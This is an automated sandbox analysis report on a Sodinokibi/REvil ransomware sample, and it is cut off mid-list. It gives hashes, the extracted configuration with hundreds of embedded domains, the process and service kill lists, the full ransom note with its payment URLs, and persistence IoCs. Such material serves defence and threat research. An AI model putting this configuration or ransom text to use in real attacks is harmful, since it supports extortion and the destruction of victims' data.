Analysis
-
max time kernel
126s -
max time network
150s -
platform
windows7_x64 -
resource
win7-20240221-en -
resource tags
arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system -
submitted
09-03-2024 21:49
Static task
static1
Behavioral task
behavioral1
Sample
3a592e04fc7c4991dbc972a6e742814156d1a9505b7bc83fcef8c99f96c8b22c.exe
Resource
win7-20240221-en
Behavioral task
behavioral2
Sample
3a592e04fc7c4991dbc972a6e742814156d1a9505b7bc83fcef8c99f96c8b22c.exe
Resource
win10v2004-20240226-en
General
-
Target
3a592e04fc7c4991dbc972a6e742814156d1a9505b7bc83fcef8c99f96c8b22c.exe
-
Size
123KB
-
MD5
8be4b3f41ef22c97f04eeb68d490dd5b
-
SHA1
e94debf303e6b83194e45659a7cb8f26b7ad8519
-
SHA256
3a592e04fc7c4991dbc972a6e742814156d1a9505b7bc83fcef8c99f96c8b22c
-
SHA512
926102a46daf75c877f07870f0e0d298518f5699f453d525f946b8eaa9fed3934603cdd6e6f5e6e7c3be8825ebd3cf1a055f119bb7d862a3cfa7ff48cd436617
-
SSDEEP
1536:7DvcP30ThpshwVs5OE8yNcYQp+2ZZICS4AIjnBR561lQVMr3IgmffEbjQFOxN:yrSVhaNcYM8gnBR5uiV1UvQFOxN
Malware Config
Extracted
sodinokibi
$2a$10$CtL6MpBCOZZcR.aRU3GXp.pcFtg0joF6uPmmrKY0hC0o.x.alLtZ.
4085
sandd.nl
digivod.de
southeasternacademyofprosthodontics.org
resortmtn.com
mdk-mediadesign.de
tetinfo.in
fayrecreations.com
ecpmedia.vn
physiofischer.de
highlinesouthasc.com
antenanavi.com
blog.solutionsarchitect.guru
deepsouthclothingcompany.com
coursio.com
quickyfunds.com
atmos-show.com
pawsuppetlovers.com
hokagestore.com
midmohandyman.com
mmgdouai.fr
stingraybeach.com
tandartspraktijkhartjegroningen.nl
leoben.at
licor43.de
xlarge.at
maasreusel.nl
lmtprovisions.com
destinationclients.fr
vannesteconstruct.be
ausbeverage.com.au
iyahayki.nl
goodgirlrecovery.com
aarvorg.com
wien-mitte.co.at
iviaggisonciliegie.it
mylolis.com
parks-nuernberg.de
gastsicht.de
iwr.nl
theshungiteexperience.com.au
katiekerr.co.uk
tuuliautio.fi
jeanlouissibomana.com
rosavalamedahr.com
teknoz.net
dekkinngay.com
abitur-undwieweiter.de
boisehosting.net
centrospgolega.com
tomoiyuma.com
tastewilliamsburg.com
creative-waves.co.uk
stoneys.ch
sweering.fr
maxadams.london
lascuola.nl
naturavetal.hr
nosuchthingasgovernment.com
worldhealthbasicinfo.com
digi-talents.com
thedad.com
teresianmedia.org
enovos.de
visiativ-industry.fr
hushavefritid.dk
helikoptervluchtnewyork.nl
hrabritelefon.hr
autopfand24.de
shadebarandgrillorlando.com
x-ray.ca
nmiec.com
modestmanagement.com
birnam-wood.com
farhaani.com
freie-baugutachterpraxis.de
klimt2012.info
xltyu.com
purposeadvisorsolutions.com
spinheal.ru
fitnessingbyjessica.com
geekwork.pl
igrealestate.com
solerluethi-allart.ch
tenacitytenfold.com
crosspointefellowship.church
koken-voor-baby.nl
caribbeansunpoker.com
wmiadmin.com
markelbroch.com
schlafsack-test.net
filmvideoweb.com
drfoyle.com
bsaship.com
bowengroup.com.au
ncuccr.org
ecopro-kanto.com
waynela.com
fitnessbazaar.com
global-kids.info
promesapuertorico.com
finediningweek.pl
qualitus.com
pferdebiester.de
c-a.co.in
vanswigchemdesign.com
mymoneyforex.com
basisschooldezonnewijzer.nl
denifl-consulting.at
mezhdu-delom.ru
homesdollar.com
stemplusacademy.com
naswrrg.org
myhostcloud.com
bauertree.com
365questions.org
bridgeloanslenders.com
marietteaernoudts.nl
caribdoctor.org
offroadbeasts.com
vitalyscenter.es
dutchbrewingcoffee.com
charlesreger.com
milltimber.aberdeen.sch.uk
simpliza.com
pasvenska.se
ateliergamila.com
ino-professional.ru
pier40forall.org
faizanullah.com
chaotrang.com
whittier5k.com
transportesycementoshidalgo.es
krlosdavid.com
colorofhorses.com
skiltogprint.no
sauschneider.info
hexcreatives.co
americafirstcommittee.org
blogdecachorros.com
sportsmassoren.com
celeclub.org
rushhourappliances.com
baptisttabernacle.com
rehabilitationcentersinhouston.net
falcou.fr
mooshine.com
longislandelderlaw.com
figura.team
yassir.pro
renergysolution.com
christ-michael.net
executiveairllc.com
ctrler.cn
cityorchardhtx.com
leather-factory.co.jp
kenhnoithatgo.com
mbxvii.com
ccpbroadband.com
schmalhorst.de
icpcnj.org
troegs.com
dirittosanitario.biz
lukeshepley.wordpress.com
aglend.com.au
wraithco.com
conasmanagement.de
sagadc.com
pomodori-pizzeria.de
darrenkeslerministries.com
kisplanning.com.au
wsoil.com.sg
embracinghiscall.com
makeitcount.at
odiclinic.org
bigasgrup.com
ihr-news.jp
blossombeyond50.com
boosthybrid.com.au
hotelzentral.at
operaslovakia.sk
caffeinternet.it
amerikansktgodis.se
onlybacklink.com
otsu-bon.com
rhinosfootballacademy.com
rota-installations.co.uk
dr-tremel-rednitzhembach.de
polychromelabs.com
saxtec.com
facettenreich27.de
bordercollie-nim.nl
4net.guru
navyfederalautooverseas.com
dubscollective.com
pay4essays.net
ymca-cw.org.uk
corola.es
gopackapp.com
kirkepartner.dk
unim.su
henricekupper.com
praxis-foerderdiagnostik.de
smale-opticiens.nl
eadsmurraypugh.com
qualitaetstag.de
bargningavesta.se
lenreactiv-shop.ru
fiscalsort.com
expandet.dk
oncarrot.com
manifestinglab.com
citymax-cr.com
accountancywijchen.nl
nativeformulas.com
gymnasedumanagement.com
tomaso.gr
tanciu.com
plastidip.com.ar
symphonyenvironmental.com
galleryartfair.com
commonground-stories.com
qlog.de
www1.proresult.no
antiaginghealthbenefits.com
insp.bi
saka.gr
steampluscarpetandfloors.com
alfa-stroy72.com
paymybill.guru
petnest.ir
maryloutaylor.com
memaag.com
directwindowco.com
ecoledansemulhouse.fr
stefanpasch.me
dlc.berlin
artotelamsterdam.com
vyhino-zhulebino-24.ru
whyinterestingly.ru
dareckleyministries.com
otto-bollmann.de
milsing.hr
kao.at
thefixhut.com
artige.com
groupe-frayssinet.fr
thailandholic.com
plv.media
edelman.jp
vetapharma.fr
judithjansen.com
candyhouseusa.com
tophumanservicescourses.com
forskolorna.org
maineemploymentlawyerblog.com
beautychance.se
amylendscrestview.com
portoesdofarrobo.com
zenderthelender.com
higadograsoweb.com
4youbeautysalon.com
buymedical.biz
socstrp.org
linnankellari.fi
frontierweldingllc.com
sevenadvertising.com
eglectonk.online
platformier.com
analiticapublica.es
zewatchers.com
gemeentehetkompas.nl
liikelataamo.fi
exenberger.at
garage-lecompte-rouen.fr
prochain-voyage.net
mir-na-iznanku.com
senson.fi
bouldercafe-wuppertal.de
withahmed.com
degroenetunnel.com
ouryoungminds.wordpress.com
echtveilig.nl
nijaplay.com
marchand-sloboda.com
besttechie.com
ontrailsandboulevards.com
smhydro.com.pl
ahouseforlease.com
zso-mannheim.de
ikads.org
puertamatic.es
logopaedie-blomberg.de
hellohope.com
jbbjw.com
celularity.com
thaysa.com
mediaplayertest.net
parebrise-tla.fr
stoeberstuuv.de
sarbatkhalsafoundation.org
dutchcoder.nl
boldcitydowntown.com
harveybp.com
trapiantofue.it
mikeramirezcpa.com
advokathuset.dk
jsfg.com
cafemattmeera.com
ncid.bc.ca
porno-gringo.com
ventti.com.ar
oemands.dk
you-bysia.com.au
rimborsobancario.net
associationanalytics.com
maureenbreezedancetheater.org
simpkinsedwards.co.uk
malychanieruchomoscipremium.com
gw2guilds.org
ora-it.de
walter-lemm.de
tsklogistik.eu
jameskibbie.com
1kbk.com.ua
friendsandbrgrs.com
victoriousfestival.co.uk
familypark40.com
fotoscondron.com
ceres.org.au
galserwis.pl
latribuessentielle.com
coastalbridgeadvisors.com
innote.fi
cirugiauretra.es
vox-surveys.com
charlottepoudroux-photographie.fr
real-estate-experts.com
bingonearme.org
ftf.or.at
iwelt.de
waveneyrivercentre.co.uk
sla-paris.com
courteney-cox.net
almosthomedogrescue.dog
zzyjtsgls.com
tulsawaterheaterinstallation.com
roygolden.com
satyayoga.de
muamuadolls.com
igorbarbosa.com
all-turtles.com
onlyresultsmarketing.com
jiloc.com
geoffreymeuli.com
greenpark.ch
i-trust.dk
kindersitze-vergleich.de
stemenstilte.nl
bastutunnan.se
daniel-akermann-architektur-und-planung.ch
bundabergeyeclinic.com.au
adultgamezone.com
greenfieldoptimaldentalcare.com
stacyloeb.com
bestbet.com
tigsltd.com
ledmes.ru
personalenhancementcenter.com
body-armour.online
hhcourier.com
bodyforwife.com
alysonhoward.com
luckypatcher-apkz.com
fannmedias.com
villa-marrakesch.de
vesinhnha.com.vn
bradynursery.com
bildungsunderlebnis.haus
nvwoodwerks.com
dramagickcom.wordpress.com
zimmerei-deboer.de
systemate.dk
crediacces.com
tinyagency.com
launchhubl.com
videomarketing.pro
shiftinspiration.com
bouquet-de-roses.com
retroearthstudio.com
teczowadolina.bytom.pl
xn--vrftet-pua.biz
alvinschwartz.wordpress.com
bouncingbonanza.com
dezatec.es
kedak.de
campus2day.de
proudground.org
mountaintoptinyhomes.com
zervicethai.co.th
herbstfeststaefa.ch
mindpackstudios.com
kidbucketlist.com.au
liveottelut.com
vickiegrayimages.com
serce.info.pl
humancondition.com
calabasasdigest.com
schoellhammer.com
kalkulator-oszczednosci.pl
newstap.com.ng
cite4me.org
lusak.at
interactcenter.org
nancy-informatique.fr
behavioralmedicinespecialists.com
takeflat.com
houseofplus.com
hihaho.com
kadesignandbuild.co.uk
eraorastudio.com
creamery201.com
tecnojobsnet.com
sotsioloogia.ee
femxarxa.cat
collaborativeclassroom.org
1team.es
smart-light.co.uk
12starhd.online
slashdb.com
unetica.fr
noesis.tech
oneheartwarriors.at
strategicstatements.com
gporf.fr
selfoutlet.com
wacochamber.com
pridoxmaterieel.nl
tux-espacios.com
tongdaifpthaiphong.net
hairstylesnow.site
pointos.com
sanaia.com
hugoversichert.de
mardenherefordshire-pc.gov.uk
geisterradler.de
sanyue119.com
ravensnesthomegoods.com
daklesa.de
seitzdruck.com
globedivers.wordpress.com
mank.de
bierensgebakkramen.nl
jorgobe.at
brigitte-erler.com
shiresresidential.com
blood-sports.net
asiluxury.com
fatfreezingmachines.com
pasivect.co.uk
kaotikkustomz.com
ai-spt.jp
webmaster-peloton.com
work2live.de
coffreo.biz
id-vet.com
cranleighscoutgroup.org
conexa4papers.trade
kunze-immobilien.de
simplyblessedbykeepingitreal.com
slimidealherbal.com
fitovitaforum.com
deschl.net
actecfoundation.org
edgewoodestates.org
milanonotai.it
botanicinnovations.com
despedidascostablanca.es
krcove-zily.eu
samnewbyjax.com
danholzmann.com
aselbermachen.com
funjose.org.gt
restaurantesszimmer.de
julis-lsa.de
smalltownideamill.wordpress.com
35-40konkatsu.net
better.town
lange.host
mepavex.nl
thomasvicino.com
saarland-thermen-resort.com
blgr.be
quizzingbee.com
chandlerpd.com
morawe-krueger.de
bimnapratica.com
jacquin-maquettes.com
manijaipur.com
smejump.co.th
edv-live.de
mrxermon.de
michaelsmeriglioracing.com
kissit.ca
waywithwords.net
monark.com
truenyc.co
socialonemedia.com
alhashem.net
slupetzky.at
faronics.com
foryourhealth.live
biapi-coaching.fr
ki-lowroermond.nl
zflas.com
centromarysalud.com
spectrmash.ru
pt-arnold.de
andersongilmour.co.uk
xtptrack.com
fotoideaymedia.es
rostoncastings.co.uk
kikedeoliveira.com
nsec.se
grupocarvalhoerodrigues.com.br
epwritescom.wordpress.com
huissier-creteil.com
bptdmaluku.com
gasbarre.com
durganews.com
smessier.com
psnacademy.in
strandcampingdoonbeg.com
chrissieperry.com
nakupunafoundation.org
bigbaguettes.eu
nhadatcanho247.com
argos.wityu.fund
makeurvoiceheard.com
architekturbuero-wagner.net
devlaur.com
transliminaltribe.wordpress.com
antonmack.de
tandartspraktijkheesch.nl
jvanvlietdichter.nl
devstyle.org
zweerscreatives.nl
camsadviser.com
tips.technology
stupbratt.no
partnertaxi.sk
philippedebroca.com
ladelirante.fr
gmto.fr
dw-css.de
verifort-capital.de
dubnew.com
newyou.at
paradicepacks.com
shhealthlaw.com
evergreen-fishing.com
naturstein-hotte.de
cactusthebrand.com
mirjamholleman.nl
autodujos.lt
spd-ehningen.de
liliesandbeauties.org
aniblinova.wordpress.com
div-vertriebsforschung.de
mylovelybluesky.com
nuzech.com
outcomeisincome.com
abogadoengijon.es
projetlyonturin.fr
myteamgenius.com
stampagrafica.es
cuppacap.com
fundaciongregal.org
mdacares.com
summitmarketingstrategies.com
vitavia.lt
ogdenvision.com
fransespiegels.nl
cwsitservices.co.uk
dinslips.se
lloydconstruction.com
turkcaparbariatrics.com
calxplus.eu
ra-staudte.de
sojamindbody.com
knowledgemuseumbd.com
pivoineetc.fr
reddysbakery.com
kampotpepper.gives
softsproductkey.com
abogados-en-alicante.es
extraordinaryoutdoors.com
pcprofessor.com
ausair.com.au
xn--logopdie-leverkusen-kwb.de
labobit.it
cerebralforce.net
naturalrapids.com
pv-design.de
bigler-hrconsulting.ch
space.ua
aunexis.ch
answerstest.ru
effortlesspromo.com
piajeppesen.dk
carriagehousesalonvt.com
airconditioning-waalwijk.nl
kojinsaisei.info
simoneblum.de
solhaug.tk
tarotdeseidel.com
herbayupro.com
poultrypartners.nl
homng.net
lillegrandpalais.com
euro-trend.pl
marathonerpaolo.com
simulatebrain.com
hmsdanmark.dk
first-2-aid-u.com
rollingrockcolumbia.com
beyondmarcomdotcom.wordpress.com
ulyssemarketing.com
carlosja.com
sinal.org
crowd-patch.co.uk
ralister.co.uk
tonelektro.nl
xn--fnsterputssollentuna-39b.se
leda-ukraine.com.ua
jyzdesign.com
miraclediet.fun
madinblack.com
notsilentmd.org
thedresserie.com
musictreehouse.net
roadwarrior.app
homecomingstudio.com
xn--rumung-bua.online
backstreetpub.com
themadbotter.com
stoeferlehalle.de
thewellnessmimi.com
lynsayshepherd.co.uk
podsosnami.ru
mrtour.site
bloggyboulga.net
tanzprojekt.com
commercialboatbuilding.com
testzandbakmetmening.online
mastertechengineering.com
grelot-home.com
shonacox.com
filmstreamingvfcomplet.be
kostenlose-webcams.com
sipstroysochi.ru
international-sound-awards.com
hkr-reise.de
321play.com.hk
bodyfulls.com
punchbaby.com
officehymy.com
arteservicefabbro.com
sw1m.ru
kingfamily.construction
assurancesalextrespaille.fr
siliconbeach-realestate.com
tennisclubetten.nl
jobcenterkenya.com
chavesdoareeiro.com
mirkoreisser.de
latestmodsapks.com
gantungankunciakrilikbandung.com
groupe-cets.com
clos-galant.com
mercantedifiori.com
corendonhotels.com
gaiam.nl
pocket-opera.de
oldschoolfun.net
lykkeliv.net
haar-spange.com
vdberg-autoimport.nl
dr-seleznev.com
lescomtesdemean.be
werkkring.nl
theclubms.com
modamilyon.com
pogypneu.sk
happyeasterimages.org
binder-buerotechnik.at
kojima-shihou.com
yousay.site
huehnerauge-entfernen.de
sterlingessay.com
pmc-services.de
klusbeter.nl
greenko.pl
polymedia.dk
streamerzradio1.site
chatizel-paysage.fr
readberserk.com
joseconstela.com
dr-pipi.de
promalaga.es
biortaggivaldelsa.com
croftprecision.co.uk
cheminpsy.fr
christinarebuffetcourses.com
joyeriaorindia.com
iqbalscientific.com
diversiapsicologia.es
abl1.net
modelmaking.nl
shsthepapercut.com
i-arslan.de
loprus.pl
blumenhof-wegleitner.at
datacenters-in-europe.com
aminaboutique247.com
aakritpatel.com
parkstreetauto.net
glennroberts.co.nz
centuryrs.com
smokeysstoves.com
syndikat-asphaltfieber.de
acomprarseguidores.com
love30-chanko.com
theduke.de
mediaacademy-iraq.org
wurmpower.at
verbisonline.com
uranus.nl
tradiematepro.com.au
lefumetdesdombes.com
easytrans.com.au
jenniferandersonwriter.com
controldekk.com
vloeren-nu.nl
gonzalezfornes.es
tampaallen.com
hotelsolbh.com.br
slwgs.org
live-your-life.jp
abogadosadomicilio.es
vihannesporssi.fi
jadwalbolanet.info
evangelische-pfarrgemeinde-tuniberg.de
ditog.fr
gasolspecialisten.se
gratispresent.se
securityfmm.com
irinaverwer.com
baumkuchenexpo.jp
katketytaanet.fi
psc.de
myzk.site
aprepol.com
levdittliv.se
milestoneshows.com
hvccfloorcare.com
atozdistribution.co.uk
jasonbaileystudio.com
lucidinvestbank.com
kaminscy.com
ftlc.es
narcert.com
ilcdover.com
balticdermatology.lt
parkcf.nl
advizewealth.com
completeweddingkansas.com
web.ion.ag
siluet-decor.ru
noixdecocom.fr
mooreslawngarden.com
live-con-arte.de
smithmediastrategies.com
burkert-ideenreich.de
drugdevice.org
appsformacpc.com
nachhilfe-unterricht.com
berlin-bamboo-bikes.org
coding-machine.com
dublikator.com
lebellevue.fr
art2gointerieurprojecten.nl
spargel-kochen.de
mousepad-direkt.de
hypozentrum.com
lorenacarnero.com
consultaractadenacimiento.com
zonamovie21.net
penco.ie
norpol-yachting.com
imadarchid.com
olejack.ru
compliancesolutionsstrategies.com
y-archive.com
ruralarcoiris.com
notmissingout.com
babcockchurch.org
entopic.com
spacecitysisters.org
campusoutreach.org
xoabigail.com
drnice.de
oneplusresource.org
wasmachtmeinfonds.at
101gowrie.com
bhwlawfirm.com
gamesboard.info
ligiercenter-sachsen.de
testcoreprohealthuk.com
solinegraphic.com
pcp-nc.com
tstaffing.nl
irishmachineryauctions.com
plotlinecreative.com
cnoia.org
xn--fn-kka.no
montrium.com
devok.info
mapawood.com
evologic-technologies.com
ostheimer.at
bristolaeroclub.co.uk
elimchan.com
csgospeltips.se
lightair.com
lubetkinmediacompanies.com
rumahminangberdaya.com
theapifactory.com
flexicloud.hk
micro-automation.de
htchorst.nl
profectis.de
wellplast.se
zimmerei-fl.de
cursosgratuitosnainternet.com
stopilhan.com
haremnick.com
walkingdeadnj.com
yourobgyn.net
oslomf.no
hairnetty.wordpress.com
mountsoul.de
baronloan.org
associacioesportivapolitg.cat
sachnendoc.com
bee4win.com
insigniapmg.com
perbudget.com
carolinepenn.com
miriamgrimm.de
romeguidedvisit.com
mooglee.com
connectedace.com
mrsplans.net
ussmontanacommittee.us
sabel-bf.com
wolf-glas-und-kunst.de
insidegarage.pl
thomas-hospital.de
journeybacktolife.com
bbsmobler.se
drinkseed.com
comarenterprises.com
kariokids.com
fensterbau-ziegler.de
intecwi.com
westdeptfordbuyrite.com
tanzschule-kieber.de
sexandfessenjoon.wordpress.com
fax-payday-loans.com
schraven.de
crowcanyon.com
imperfectstore.com
comparatif-lave-linge.fr
allure-cosmetics.at
erstatningsadvokaterne.dk
levihotelspa.fi
firstpaymentservices.com
microcirc.net
rocketccw.com
8449nohate.org
classycurtainsltd.co.uk
kaliber.co.jp
schoolofpassivewealth.com
chefdays.de
lecantou-coworking.com
asgestion.com
uimaan.fi
lionware.de
buroludo.nl
eco-southafrica.com
darnallwellbeing.org.uk
sportverein-tambach.de
layrshift.eu
koko-nora.dk
juneauopioidworkgroup.org
seevilla-dr-sturm.at
wychowanieprzedszkolne.pl
bookspeopleplaces.com
people-biz.com
berliner-versicherungsvergleich.de
forestlakeuca.org.au
refluxreducer.com
jandaonline.com
kuntokeskusrok.fi
webhostingsrbija.rs
nacktfalter.de
elpa.se
aco-media.nl
esope-formation.fr
pierrehale.com
importardechina.info
pixelarttees.com
cimanchesterescorts.co.uk
baylegacy.com
boompinoy.com
cuspdental.com
nurturingwisdom.com
kevinjodea.com
mediaclan.info
cortec-neuro.com
supportsumba.nl
heurigen-bauer.at
triggi.de
delchacay.com.ar
heidelbergartstudio.gallery
fibrofolliculoma.info
mariposapropaneaz.com
autodemontagenijmegen.nl
craftleathermnl.com
2ekeus.nl
heliomotion.com
verytycs.com
dpo-as-a-service.com
parking.netgateway.eu
talentwunder.com
craigmccabe.fun
broseller.com
lachofikschiet.nl
desert-trails.com
ceid.info.tr
deltacleta.cat
highimpactoutdoors.net
iphoneszervizbudapest.hu
helenekowalsky.com
marketingsulweb.com
ampisolabergeggi.it
maratonaclubedeportugal.com
baustb.de
theletter.company
toreria.es
nandistribution.nl
asteriag.com
spylista.com
surespark.org.uk
admos-gleitlager.de
financescorecard.com
wari.com.pe
c2e-poitiers.com
run4study.com
rozemondcoaching.nl
dnepr-beskid.com.ua
blewback.com
ivfminiua.com
bayoga.co.uk
twohourswithlena.wordpress.com
new.devon.gov.uk
vancouver-print.ca
sobreholanda.com
vietlawconsultancy.com
anteniti.com
marcuswhitten.site
humanityplus.org
meusharklinithome.wordpress.com
corelifenutrition.com
xn--singlebrsen-vergleich-nec.com
cursoporcelanatoliquido.online
psa-sec.de
catholicmusicfest.com
bafuncs.org
jobmap.at
seminoc.com
itelagen.com
slimani.net
jolly-events.com
stallbyggen.se
vibethink.net
n1-headache.com
limassoldriving.com
artallnightdc.com
argenblogs.com.ar
ilive.lt
ivivo.es
anybookreader.de
trackyourconstruction.com
dsl-ip.de
allfortheloveofyou.com
mrsfieldskc.com
jakekozmor.com
nicoleaeschbachorg.wordpress.com
sportiomsportfondsen.nl
upplandsspar.se
aodaichandung.com
extensionmaison.info
precisionbevel.com
agence-referencement-naturel-geneve.net
pickanose.com
polzine.net
suncrestcabinets.ca
hashkasolutindo.com
woodleyacademy.org
manutouchmassage.com
nestor-swiss.ch
schutting-info.nl
micahkoleoso.de
abuelos.com
quemargrasa.net
handi-jack-llc.com
austinlchurch.com
employeesurveys.com
waermetauscher-berechnen.de
lapmangfpt.info.vn
triactis.com
norovirus-ratgeber.de
balticdentists.com
toponlinecasinosuk.co.uk
castillobalduz.es
jerling.de
rebeccarisher.com
no-plans.com
body-guards.it
imaginado.de
songunceliptv.com
educar.org
sairaku.net
bxdf.info
urist-bogatyr.ru
luxurytv.jp
yamalevents.com
mytechnoway.com
vorotauu.ru
travelffeine.com
agence-chocolat-noir.com
allentownpapershow.com
mbfagency.com
d1franchise.com
littlebird.salon
brevitempore.net
danielblum.info
harpershologram.wordpress.com
hardinggroup.com
augenta.com
kath-kirche-gera.de
seproc.hn
aurum-juweliere.de
stormwall.se
sahalstore.com
smartypractice.com
xn--thucmctc-13a1357egba.com
justinvieira.com
DupontSellsHomes.com
the-virtualizer.com
thenewrejuveme.com
urmasiimariiuniri.ro
rerekatu.com
rieed.de
delawarecorporatelaw.com
finde-deine-marke.de
team-montage.dk
huesges-gruppe.de
izzi360.com
bricotienda.com
hoteledenpadova.it
edrcreditservices.nl
abogadosaccidentetraficosevilla.es
noskierrenteria.com
havecamerawilltravel2017.wordpress.com
cleliaekiko.online
radaradvies.nl
skanah.com
fairfriends18.de
seagatesthreecharters.com
rksbusiness.com
patrickfoundation.net
presseclub-magdeburg.de
copystar.co.uk
pelorus.group
hebkft.hu
kamahouse.net
opatrovanie-ako.sk
nokesvilledentistry.com
kosterra.com
danubecloud.com
foretprivee.ca
ohidesign.com
minipara.com
hiddencitysecrets.com.au
deoudedorpskernnoordwijk.nl
healthyyworkout.com
winrace.no
iyengaryogacharlotte.com
dushka.ua
servicegsm.net
moveonnews.com
richard-felix.co.uk
deko4you.at
anthonystreetrimming.com
apprendrelaudit.com
tinkoff-mobayl.ru
carrybrands.nl
em-gmbh.ch
plantag.de
faroairporttransfers.net
lichencafe.com
ncs-graphic-studio.com
starsarecircular.org
ungsvenskarna.se
braffinjurylawfirm.com
merzi.info
gadgetedges.com
fizzl.ru
hannah-fink.de
atalent.fi
rafaut.com
kmbshipping.co.uk
panelsandwichmadrid.es
planchaavapor.net
kafu.ch
girlillamarketing.com
sporthamper.com
123vrachi.ru
brawnmediany.com
myhealth.net.au
revezlimage.com
zieglerbrothers.de
apolomarcas.com
upmrkt.co
ziegler-praezisionsteile.de
the-domain-trader.com
dontpassthepepper.com
pubweb.carnet.hr
theadventureedge.com
adoptioperheet.fi
pinkexcel.com
sloverse.com
denovofoodsgroup.com
osterberg.fi
d2marketing.co.uk
lapinvihreat.fi
jusibe.com
alsace-first.com
todocaracoles.com
igfap.com
instatron.net
macabaneaupaysflechois.com
danskretursystem.dk
scenepublique.net
idemblogs.com
bogdanpeptine.ro
veybachcenter.de
autofolierung-lu.de
praxis-management-plus.de
hatech.io
smogathon.com
pmcimpact.com
eaglemeetstiger.de
lbcframingelectrical.com
cyntox.com
boulderwelt-muenchen-west.de
blacksirius.de
trystana.com
thee.network
id-et-d.fr
peterstrobos.com
neuschelectrical.co.za
leeuwardenstudentcity.nl
oceanastudios.com
vibehouse.rw
remcakram.com
nataschawessels.com
makeflowers.ru
trulynolen.co.uk
phantastyk.com
bunburyfreightservices.com.au
woodworkersolution.com
coding-marking.com
bargningharnosand.se
synlab.lt
webcodingstudio.com
spsshomeworkhelp.com
beaconhealthsystem.org
raschlosser.de
alten-mebel63.ru
lapinlviasennus.fi
kamienny-dywan24.pl
brandl-blumen.de
corona-handles.com
vermoote.de
karacaoglu.nl
bockamp.com
ianaswanson.com
torgbodenbollnas.se
urclan.net
deprobatehelp.com
allamatberedare.se
freie-gewerkschaften.de
johnsonfamilyfarmblog.wordpress.com
craigvalentineacademy.com
sofavietxinh.com
architecturalfiberglass.org
ilso.net
paulisdogshop.de
-
net
true
-
pid
$2a$10$CtL6MpBCOZZcR.aRU3GXp.pcFtg0joF6uPmmrKY0hC0o.x.alLtZ.
-
prc
sqbcoreservice
dbsnmp
mydesktopservice
outlook
ocomm
excel
mydesktopqos
isqlplussvc
onenote
tbirdconfig
msaccess
encsvc
infopath
steam
thebat
agntsvc
sql
visio
wordpad
winword
dbeng50
powerpnt
firefox
xfssvccon
mspub
oracle
thunderbird
ocssd
synctime
ocautoupds
-
ransom_oneliner
All of your files are encrypted! Find {EXT}-readme.txt and follow instuctions
-
ransom_template
---=== Welcome. Again. ===--- [+] Whats Happen? [+] Your files are encrypted, and currently unavailable. You can check it: all files on your system has extension {EXT}. By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER). [+] What guarantees? [+] Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests. To check the ability of returning files, You should go to our website. There you can decrypt one file for free. That is our guarantee. If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the private key. In practice - time is much more valuable than money. [+] How to get access on website? [+] You have two ways: 1) [Recommended] Using a TOR browser! a) Download and install TOR browser from this site: https://torproject.org/ b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/{UID} 2) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this: a) Open your any browser (Chrome, Firefox, Opera, IE, Edge) b) Open our secondary website: http://decryptor.cc/{UID} Warning: secondary website can be blocked, thats why first variant much better and more available. When you open our website, put the following data in the input form: Key: {KEY} ----------------------------------------------------------------------------------------- !!! DANGER !!! DONT try to change files by yourself, DONT use any third party software for restoring your data or antivirus solutions - its may entail damage of the private key and, as result, The Loss all data. !!! !!! !!! ONE MORE TIME: Its in your interests to get your files back. From our side, we (the best specialists) make everything for restoring, but please should not interfere. !!! !!! !!!
-
sub
4085
-
svc
memtas
mepocs
backup
sophos
sql
svc$
veeam
vss
Extracted
C:\Users\0q611h83c-readme.txt
sodinokibi
http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/471229BDD599EAFA
http://decryptor.cc/471229BDD599EAFA
Signatures
-
Sodin,Sodinokibi,REvil
Ransomware with advanced anti-analysis and privilege escalation functionality.
-
Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\DNXeNcyLON = "C:\\Users\\Admin\\AppData\\Local\\Temp\\3a592e04fc7c4991dbc972a6e742814156d1a9505b7bc83fcef8c99f96c8b22c.exe" 3a592e04fc7c4991dbc972a6e742814156d1a9505b7bc83fcef8c99f96c8b22c.exe -
Enumerates connected drives 3 TTPs 25 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\Q: 3a592e04fc7c4991dbc972a6e742814156d1a9505b7bc83fcef8c99f96c8b22c.exe File opened (read-only) \??\R: 3a592e04fc7c4991dbc972a6e742814156d1a9505b7bc83fcef8c99f96c8b22c.exe File opened (read-only) \??\K: 3a592e04fc7c4991dbc972a6e742814156d1a9505b7bc83fcef8c99f96c8b22c.exe File opened (read-only) \??\A: 3a592e04fc7c4991dbc972a6e742814156d1a9505b7bc83fcef8c99f96c8b22c.exe File opened (read-only) \??\G: 3a592e04fc7c4991dbc972a6e742814156d1a9505b7bc83fcef8c99f96c8b22c.exe File opened (read-only) \??\J: 3a592e04fc7c4991dbc972a6e742814156d1a9505b7bc83fcef8c99f96c8b22c.exe File opened (read-only) \??\S: 3a592e04fc7c4991dbc972a6e742814156d1a9505b7bc83fcef8c99f96c8b22c.exe File opened (read-only) \??\D: 3a592e04fc7c4991dbc972a6e742814156d1a9505b7bc83fcef8c99f96c8b22c.exe File opened (read-only) \??\O: 3a592e04fc7c4991dbc972a6e742814156d1a9505b7bc83fcef8c99f96c8b22c.exe File opened (read-only) \??\P: 3a592e04fc7c4991dbc972a6e742814156d1a9505b7bc83fcef8c99f96c8b22c.exe File opened (read-only) \??\W: 3a592e04fc7c4991dbc972a6e742814156d1a9505b7bc83fcef8c99f96c8b22c.exe File opened (read-only) \??\Y: 3a592e04fc7c4991dbc972a6e742814156d1a9505b7bc83fcef8c99f96c8b22c.exe File opened (read-only) \??\Z: 3a592e04fc7c4991dbc972a6e742814156d1a9505b7bc83fcef8c99f96c8b22c.exe File opened (read-only) \??\F: 3a592e04fc7c4991dbc972a6e742814156d1a9505b7bc83fcef8c99f96c8b22c.exe File opened (read-only) \??\T: 3a592e04fc7c4991dbc972a6e742814156d1a9505b7bc83fcef8c99f96c8b22c.exe File opened (read-only) \??\V: 